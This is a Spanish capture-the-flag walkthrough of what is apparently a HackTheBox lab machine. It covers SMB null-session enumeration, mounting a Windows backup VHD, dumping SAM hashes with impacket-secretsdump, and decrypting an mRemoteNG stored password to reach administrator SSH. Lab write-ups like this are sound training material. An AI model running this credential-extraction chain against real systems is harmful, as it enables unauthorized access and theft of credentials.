Hacemos el escaneo de nmap:

Si enumerados recursos compartidos con smbclient con una null session, vemos los sigueintes recursos compartidos:

smbclient -L 10.10.10.134 -N

Con smbmap podemos ver qué permisos tenemos sobre estos recursos compartidos, donde vemos que podemos leer y escribir sobre el recurso backups:

smbmap -H 10.10.10.134 -u 'null'

Nos conectamos a este recurso compartido donde vemos un directorio de backups de windows:

smbclient -N //10.10.10.134/Backups

Nos montamos todo este recurso de backups en nuestra máquina atacante de la siguiente forma:

mount -t cifs -o username=null,password=null //10.10.10.134/Backups /mnt/montura

Y ahora podremos navegar por los directorios sin descargarnos nada:

Y esta es la estructura de los directorios:

Y observamos dos archivos con extensión .vhd (archivo de disco virtual):

Y con la utilidad guestmount vamos a montar cada uno de los discos en una nueva carpeta, que crearemos la carpeta discos. Pero con uno de los discos nos da error, aunque con el otro funciona bien:

guestmount --add /mnt/montura/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro discos/

Y dentro del directorio /windows/system32/config, hay un archivo llamado SAM, donde se pueden contener hashes de usuarios, por lo que nos ubicamos en esta ruta y con impacket-secretsdump tratamos de obtenerlos:

Ejecutamos el siguiente comando y obtenemos los hashes:

impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL

Y vemos que la web de crackstation nos encontró el hash del usuario L4mpje:

L4mpje:bureaulampje

Una vez obtenido esto, vamos a entrar por ssh:

ssh L4mpje@10.10.10.134

Y una vez dentro de la máquina, si nos ubicamos dentro de archivos de programa x86, vemos un directorio llamado nRemoteNG, que es extraño:

En este enlace tenemos instrucciones de cómo explotar esto mismo:

https://ethicalhackingguru.com/how-to-exploit-remote-connection-managers/

Dentro de esta web, se nos dice que hay una ruta donde se guardan credenciales en un archivo confCons.xml:

Y confirmamos que ese archivo efectivamente existe en la ruta C:\Users\L4mpje\AppData\Roaming\mRemoteNG:

Pero la contraseña viene encriptada en este archivo, pero sí vemos al principio la línea de protected con la siguiente contraseña

aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==

Por lo que vamos a pasarnos este archivo en local a nuestra máquina atacante y vamos a tratar de romperlo:

scp l4mpje@10.10.10.134:/Users/L4mpje/AppData/Roaming/mRemoteNG/confCons.xml .

Y lo tenemos en local:

Una vez hecho esto, contamos con el siguiente exploit para romper este archivo y ver credenciales en claro:

https://github.com/haseebT/mRemoteNG-Decrypt

Ejecutamos este exploit siguiendo las instrucciones, pasándole la contraseña protegida y la obtenemos en texto claro:

python3 mremoteng_decrypt.py -s aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==

Las credenciales del administrador son las siguientes:

administrator:thXLHM96BeKL0ER2

Entramos por ssh:

ssh Administrator@10.10.10.134

Y ya estamos dentro: